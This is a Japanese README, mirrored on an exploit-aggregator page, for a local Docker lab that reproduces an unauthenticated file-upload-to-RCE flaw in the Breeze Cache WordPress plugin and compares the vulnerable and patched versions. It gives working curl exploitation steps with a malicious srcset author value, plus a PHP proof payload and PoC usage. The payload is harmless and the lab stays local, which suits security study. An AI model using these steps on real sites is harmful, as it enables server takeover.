Sploitus

Exploit for CVE-2026-3844-Lab

kitploit · 2026-09-02

Exploit Code

MARKDOWN593 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ROOTDIRECTIVE-SEC-CVE-2026-3844-LAB
# CVE-2026-3844 — Breeze Cache 認証なし任意ファイルアップロードによるRCEラボ

> WordPressのBreeze CacheプラグインにおけるCVE-2026-3844の動作を再現・比較するためのローカル限定Dockerラボです。

このリポジトリは、**Breeze Cache 2.4.4** の脆弱な動作を示し、**Breeze Cache 2.4.5** のパッチ適用後の動作と比較します。ラボは2つの隔離されたWordPressサービス(脆弱なものとパッチ適用済みのもの)と、Dockerネットワーク内のローカルペイロードサーバーを使用します。

概念実証は意図的に**最小限の害** に抑えています。Webシェルは使用せず、コマンドパラメータも公開せず、リバースシェルも起動せず、コンテナ内からのファイル読み取りも必要としません。証明はホストからの観測可能なHTTP動作に基づきます。

* * *

## 概要

CVE-2026-3844 は、WordPress用Breeze Cacheプラグインのバージョン `2.4.4` までに影響します。脆弱なコードパスは、プラグインのローカルGravatarキャッシュ機能、特に `fetch_gravatar_from_remote()` フローに関連しています。

Breezeのオプション **Host Files Locally - Gravatars** が有効な場合、脆弱なバージョンは攻撃者が制御するリモートファイルを取得し、一般のWebからアクセス可能なキャッシュディレクトリに保存する可能性があります。取得したファイルがPHPの場合、HTTP経由でリクエストされるとWebサーバーによって実行される可能性があります。

このラボでは、その動作をローカルで再現します。

  * `vuln` サービス:WordPress + Breeze Cache `2.4.4`
  * `patched` サービス:WordPress + Breeze Cache `2.4.5`
  * `payload` サービス:ローカルDocker限定のペイロードサーバー
  * PoC:制御された `srcset` 文字列を使用した認証なしコメントベースのトリガー



期待される結果:

  * `http://127.0.0.1:8081` / Breeze `2.4.4` → PHPがキャッシュされ実行されることを証明
  * `http://127.0.0.1:8082` / Breeze `2.4.5` → PHPがキャッシュ/読み取り/実行されないことを証明



* * *

## リポジトリ構成

root@kitploit:~
    
    
    .
    ├── docker-compose.yml
    ├── vuln/
    │   └── Dockerfile
    ├── patched/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wordpress.sh
    ├── payload/
    │   └── manual-proof.php
    │   └── proof-cve3844.php
    ├── poc/
    │   └── poc.py
    │   └── requirements.txt
    ├── .gitignore
    ├── README.md
    

* * *

## ラボアーキテクチャ

root@kitploit:~
    
    
    ホストマシン
    │
    ├── http://127.0.0.1:8081  -> vuln WordPress + Breeze 2.4.4
    ├── http://127.0.0.1:8082  -> patched WordPress + Breeze 2.4.5
    └── http://127.0.0.1:9100  -> ローカルペイロードサーバー
    
    Dockerネットワーク
    │
    ├── vuln       -> WordPress脆弱なターゲット
    ├── patched    -> WordPressパッチ適用済みターゲット
    ├── vuln_db    -> 脆弱なWordPress用MariaDB
    ├── patched_db -> パッチ適用済みWordPress用MariaDB
    └── payload    -> Python静的HTTPサーバー
    

WordPressコンテナは、DockerネットワークURLを介してペイロードを取得します:

root@kitploit:~
    
    
    http://payload:9100/<payload-file>.php
    

ホストは、WordPressサービスへの通常のHTTPリクエストを通じて結果を確認します。

* * *

## 影響を受けるコンポーネント

  * 製品:WordPress用Breeze Cacheプラグイン
  * このラボの脆弱なバージョン:`2.4.4`
  * このラボのパッチ適用済みバージョン:`2.4.5`
  * 脆弱な関数:`fetch_gravatar_from_remote()`
  * 関連ファイル:`inc/class-breeze-cache-cronjobs.php`
  * 必要前提条件:`breeze-store-gravatars-locally` が有効であること



脆弱な動作は、ローカルGravatarキャッシュが有効な場合にのみ到達可能です。このオプションは通常のインストールではデフォルトで無効ですが、このラボでは脆弱なコードパスを再現するために意図的に有効にしています。

* * *

## 根本原因の概要

Breeze Cache `2.4.4` では、Gravatarローカライゼーションフローがアバター関連のHTMLからリモートURLを抽出し、そのURLを `fetch_gravatar_from_remote()` に渡す可能性があります。

脆弱なバージョンには、リモートファイルに関する十分な検証がありません。

  * Gravatarソースに対する厳格な信頼できるホスト検証がない
  * 保存前の信頼できるファイル拡張子許可リストがない
  * パブリックキャッシュディレクトリに配置する前のMIME/コンテンツ検証がない
  * 取得されたファイルが `.php` などの危険な拡張子を保持する可能性がある



結果のファイルは以下に保存されます:

root@kitploit:~
    
    
    /wp-content/cache/breeze-extra/gravatars/
    

PHPファイルがそこに保存され、Apache/PHP経由でリクエストされると、サーバーがそれを実行します。

Breeze Cache `2.4.5` では、パッチ適用後のフローに検証が追加され、このラボのペイロードが実行可能なPHPとしてキャッシュされるのを防ぎます。ローカル再現では、同じトリガーが `2.4.4` に対しては機能しますが、`2.4.5` に対しては証明マーカーが公開されません。

* * *

## このラボがMUプラグインヘルパーを使用する理由

このラボは、公開ペイロードホストを使用する代わりに、ペイロードサーバーを意図的にローカルに保っています。

WordPressの `download_url()` とWordPress HTTP APIは、デフォルトで一部のプライベートDockerホスト名や非標準ポートを拒否します。公開されたエクスプロイトスクリプトは、その制限を回避するために公開HTTPSペイロードURLを使用することがよくあります。このラボではそうしません。

再現を完全にローカルに保つために、シードスクリプトはローカル限定の小さなMUプラグインヘルパーをインストールします。これにより:

  * ローカルのDockerペイロードホスト名 `payload` と `payload.local` のみを許可
  * ラボのポート `80` と `9100` のみを許可
  * ラボのコメントを自動承認
  * 決定論的なローカルテストのためにコメントフラッドチェックを無効化



このヘルパーはBreezeのソースコードを**変更しません** 。脆弱なサービスとパッチ適用済みサービスの両方が、WP-CLIを通じてインストールされた実際のBreezeプラグインバージョンを使用します。

ヘルパーは、Dockerラボを決定論的かつローカル限定にするためにのみ存在します。

* * *

## 安全モデル

このリポジトリは、ローカルセキュリティ研究およびポートフォリオデモンストレーション専用です。

ガードレール:

  * `localhost` とDockerネットワークサービスでのみ実行
  * 外部コールバックサーバーなし
  * 公開エクスプロイトターゲットなし
  * リバースシェルなし
  * 対話型シェルなし
  * `cmd=` ウェブシェル動作なし
  * シークレットや実際の認証情報なし
  * 証明のためのコンテナファイル読み取りなし
  * 証明はHTTP応答動作を通じて観測



PoCペイロードは無害なPHPランタイム情報を出力します:

root@kitploit:~
    
    
    CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
    php_sapi=apache2handler
    user=www-data
    uid=33
    pid=<プロセスID>
    host=<コンテナホスト名>
    

これにより、シェルコマンドを起動せずにコード実行コンテキストを証明します。

* * *

## 必要条件

  * Docker Desktop または Docker Engine
  * Docker Compose v2
  * Python 3.9+
  * Pythonパッケージ:`requests`



Python依存関係のインストール:

root@kitploit:~
    
    
    python3 -m venv .venv
    source .venv/bin/activate
    pip install -r poc/requirements.txt
    

`requirements.txt` には以下を含める必要があります:

root@kitploit:~
    
    
    requests
    

* * *

## クイックスタート

ラボをビルドして起動:

root@kitploit:~
    
    
    docker compose down -v --remove-orphans
    docker compose up -d --build
    

サービスの状態を確認:

root@kitploit:~
    
    
    docker compose ps
    

期待されるサービス:

root@kitploit:~
    
    
    vuln        healthy    http://127.0.0.1:8081
    patched     healthy    http://127.0.0.1:8082
    payload     running    http://127.0.0.1:9100
    vuln_db     healthy
    patched_db  healthy
    

シードログを確認:

root@kitploit:~
    
    
    docker compose logs --tail=120 vuln
    docker compose logs --tail=120 patched
    

期待されるログ行:

root@kitploit:~
    
    
    [seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
    [seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
    

* * *

## ラボの準備完了を確認

WordPressのインストールを確認:

root@kitploit:~
    
    
    docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
    docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
    

Breezeのバージョンを確認:

root@kitploit:~
    
    
    docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
    docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
    

期待される出力:

root@kitploit:~
    
    
    2.4.4
    2.4.5
    

脆弱な前提条件を確認:

root@kitploit:~
    
    
    docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
    docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
    

期待される出力:

root@kitploit:~
    
    
    1
    1
    

WordPressがローカルペイロードサービスを取得できることを確認:

root@kitploit:~
    
    
    docker compose exec vuln wp eval '
    $r = download_url("http://payload:9100/proof-cve3844.php");
    if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
    echo $r . PHP_EOL;
    echo file_get_contents($r);
    @unlink($r);
    ' --allow-root --path=/var/www/html
    

`proof-cve3844.php` がまだ存在しない場合は、`payload/` に一時ファイルを作成するか、PoCを1回実行してください。

* * *

## PoCの実行

脆弱なサービスに対して実行:

root@kitploit:~
    
    
    python3 poc/poc.py --base-url http://127.0.0.1:8081
    

期待される脆弱な結果:

root@kitploit:~
    
    
    [VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
    [+] PHP proof appears to have executed
    

証明出力例:

root@kitploit:~
    
    
    CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
    php_sapi=apache2handler
    user=www-data
    uid=33
    pid=<pid>
    host=<コンテナホスト名>
    

パッチ適用済みサービスに対して実行:

root@kitploit:~
    
    
    python3 poc/poc.py --base-url http://127.0.0.1:8082
    

期待されるパッチ適用済みの結果:

root@kitploit:~
    
    
    [PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
    

`301 Moved Permanently` のようなリダイレクトは証明とはみなされません。PoCは一意のマーカーがHTTP応答本文に現れることを要求します。

* * *

## PoCの動作

PoCは以下のローカルのみのフローを実行します:

  1. `payload/` の下に一意のPHP証明ファイルを生成します。
  2. ローカルペイロードサービスを通じて提供します。
  3. 次の値を含むauthor値を持つ認証なしWordPressコメントを投稿します:



root@kitploit:~
    
    
    x srcset=http://payload:9100/<unique-payload>.php
    

  4. WordPressの投稿ページをリクエストして、Breezeのアバター処理をトリガーします。
  5. 期待される公開Breezeキャッシュパスをチェックします:



root@kitploit:~
    
    
    /wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
    

  6. 一意の証明マーカーがHTTP応答に現れる場合にのみ脆弱性を確認します。
  7. `--keep-payload` が使用されない限り、生成されたローカルペイロードファイルを削除します。



PoCはターゲットコンテナ内のファイルを読み取りません。証拠はホストからHTTP経由で収集されます。

* * *

## 手動再現

手動ペイロードを作成:

root@kitploit:~
    
    
    cat > payload/manual-proof.php <<'PHP'
    <?php
    header('Content-Type: text/plain');
    
    echo "CVE-2026-3844_MANUAL_PROOF\n";
    echo "php_sapi=" . php_sapi_name() . "\n";
    echo "user=" . get_current_user() . "\n";
    echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
    echo "pid=" . getmypid() . "\n";
    echo "host=" . gethostname() . "\n";
    PHP
    

ペイロードサーバーがPHPソースを静的テキストとして提供することを確認:

root@kitploit:~
    
    
    curl -i http://127.0.0.1:9100/manual-proof.php
    

脆弱なWordPressサービスにコメントを投稿:

root@kitploit:~
    
    
    curl -i -sS \
      -X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      --data-urlencode 'comment_post_ID=1' \
      --data-urlencode 'comment_parent=0' \
      --data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
      --data-urlencode 'some-email@example.com' \
      --data-urlencode 'url=' \
      --data-urlencode 'comment=manual CVE-2026-3844 proof' \
      --data-urlencode 'submit=Post Comment'
    

設定されたWordPressサイトURLホストを通じて投稿をレンダリングし、Breeze処理をトリガー:

root@kitploit:~
    
    
    curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
    grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
    

期待されるHTML証拠:

root@kitploit:~
    
    
    alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
    

キャッシュされたPHPファイルをリクエスト:

root@kitploit:~
    
    
    curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
    

期待される脆弱な証明:

root@kitploit:~
    
    
    HTTP/1.1 200 OK
    Content-Type: text/plain;charset=UTF-8
    
    CVE-2026-3844_MANUAL_PROOF
    php_sapi=apache2handler
    user=www-data
    uid=33
    pid=<pid>
    host=<コンテナホスト名>
    

ペイロードログを確認:

root@kitploit:~
    
    
    docker compose logs --tail=50 payload
    

期待される出力:

root@kitploit:~
    
    
    GET /manual-proof.php HTTP/1.1" 200
    

* * *

## 期待される結果

ターゲット| Breezeバージョン| 期待される結果  
---|---|---  
`http://127.0.0.1:8081`| `2.4.4`| PHP証明が取得、キャッシュ、実行可能  
`http://127.0.0.1:8082`| `2.4.5`| PHP証明マーカーが公開されない  
  
* * *

## クリーンアップ

コンテナ、ネットワーク、ボリュームを停止して削除:

root@kitploit:~
    
    
    docker compose down -v --remove-orphans
    

必要に応じて生成されたペイロードファイルを削除:

root@kitploit:~
    
    
    rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
    

* * *

## 参考情報

  * NVD — CVE-2026-3844:  
https://nvd.nist.gov/vuln/detail/CVE-2026-3844

  * Patchstackデータベース — WordPress Breeze Cacheプラグイン <= 2.4.4 認証なし任意ファイルアップロード(`fetch_gravatar_from_remote` 経由):  
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability

  * Wordfence脅威インテリジェンス — Breeze Cache <= 2.4.4 認証なし任意ファイルアップロード:  
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote

  * Wordfenceブログ — Breeze Cache脆弱性の活発な悪用に関する報道:  
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/

  * Breeze Cacheプラグインページ:  
https://wordpress.org/plugins/breeze/

  * このラボで使用されるWordPressプラグインのダウンロード:

    * Breeze Cache 2.4.4:  
https://downloads.wordpress.org/plugin/breeze.2.4.4.zip
    * Breeze Cache 2.4.5:  
https://downloads.wordpress.org/plugin/breeze.2.4.5.zip
  * WordPress Plugin Trac — Breezeソースリファレンス、`class-breeze-cache-cronjobs.php`:  
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php

  * WordPress Plugin Trac — Breezeパッチ適用後ソースリファレンス、`class-breeze-cache-cronjobs.php`:  
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php




* * *

## 免責事項

このプロジェクトは、許可されたローカルセキュリティ研究専用です。所有していない、またはテストする明示的な許可がないシステムに対してPoCを実行しないでください。